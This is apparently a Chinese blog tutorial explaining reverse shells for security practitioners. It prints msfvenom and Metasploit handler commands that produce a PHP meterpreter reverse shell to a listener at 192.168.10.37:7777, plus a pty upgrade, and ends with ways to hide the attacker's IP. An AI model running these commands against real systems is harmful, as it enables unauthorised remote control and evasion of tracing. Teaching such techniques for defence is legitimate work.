免责声明:本文章仅供安全从业人员,了解反弹shell的原理,技术讨论,不允许将其用于非法用途。
一、shell
shell是一种命令行解释程序,它允许用户与操作系统进行交互,并利用命令执行某些操作。简而言之,shell是一种命令行界面。可以理解为介于用户和系统内核的解释器,是用户直接调用内核的桥梁。
二、反弹shell原理
让受控主机A主动连接攻击者B(攻击者操控受控主机A主动连接攻击者本机B)监听在某TCP/UDP端口,受害端(目标服务器)发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转
1.攻击者在自己的机器B上打开一个监听端口(7777),等待目标机器A连接到该端口(7777);
2.攻击者在目标机器A上执行一个可执行文件或者命令,使得目标机器A能够连接到攻击者B的监听端口(7777);
3.目标机器A连接到攻击者B的监听端口,并在这个连接中打开一个远程命令行窗口(shell);
4.攻击者B就可以在自己的机器上操作目标机器A,执行命令,并获取返回结果。
三、反弹shell的应用场景
- 交互繁琐
- 不能直接连接目标主机
- 目标主机ip地址会改变,不能随时进行连接
- 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
- 对于对方环境的未知,不知道对方什么时候开机,dhcp动态分配ip地址,不知道何时中马,只能构造反弹shell,让对方主动连接我们。姜太公钓鱼愿者上钩
四、反弹shell的实现方法
- 攻击者:kali
- 受控主机:getshell普通用户权限主机
在kali上构造一个反弹shell,指定本机的IP地址(即监听地址),定义一个监听端口
-o指定输出文件的名称和格式,这里将生成一个名为msfshell.php的payload文件。
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.37 lport=7777 -o msfshell.php
我们利用msfconsole工具包下的use exploit/multi/handler工具
msfconsole
use exploit/multi/handler
查看设置
这时候我们需要对监听的ip和端口,反向TCP Shell的payload进行设置
set lhost 192.168.10.37
set lport 7777
set payload php/meterpreter/reverse_tcp
检查设置
执行run开始监听目标ip和端口
这时候受控主机A从攻击者B下载攻击荷载文件,然后给予攻击荷载权限,让攻击者b去访问攻击荷载触发监听,获得反弹shell
攻击者假设服务器
操控受控主机下载攻击荷载到本地
给予权限
攻击机访问目标playload
当前 shell 转变为一个交互式终端
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
四、总结
我们发现在实际的攻击过程中,使用常规反弹shell攻击者的计算机IP地址将被暴露给受害者计算机,因为攻击者需要将自己的计算机IP地址提供给受害者计算机以建立连接。当对方具备一定的抓包和溯源能力就能借此溯源到攻击者。因此,对方反弹shell攻击可能会危及攻击者的匿名性和安全。
这些技术可以用来隐藏攻击者的真实IP地址,从而增强攻击的匿名性和安全性。下面是一些常用的增强反弹shell匿名性的技术:
-
端口转发:攻击者可以使用端口转发技术将流量从受害者计算机转发到攻击者的计算机上,从而隐藏自己的真实IP地址。端口转发可以使用一些工具实现,例如socat、ssh、netcat等。
-
VPN:攻击者可以使用VPN连接到互联网,从而隐藏自己的真实IP地址。VPN通过加密和隧道技术将流量从攻击者计算机传输到目标计算机上。
-
代理:攻击者可以使用代理服务器将流量从受害者计算机转发到攻击者的计算机上,从而隐藏自己的真实IP地址。代理服务器可以使用一些公开的代理服务或专门搭建的代理服务器。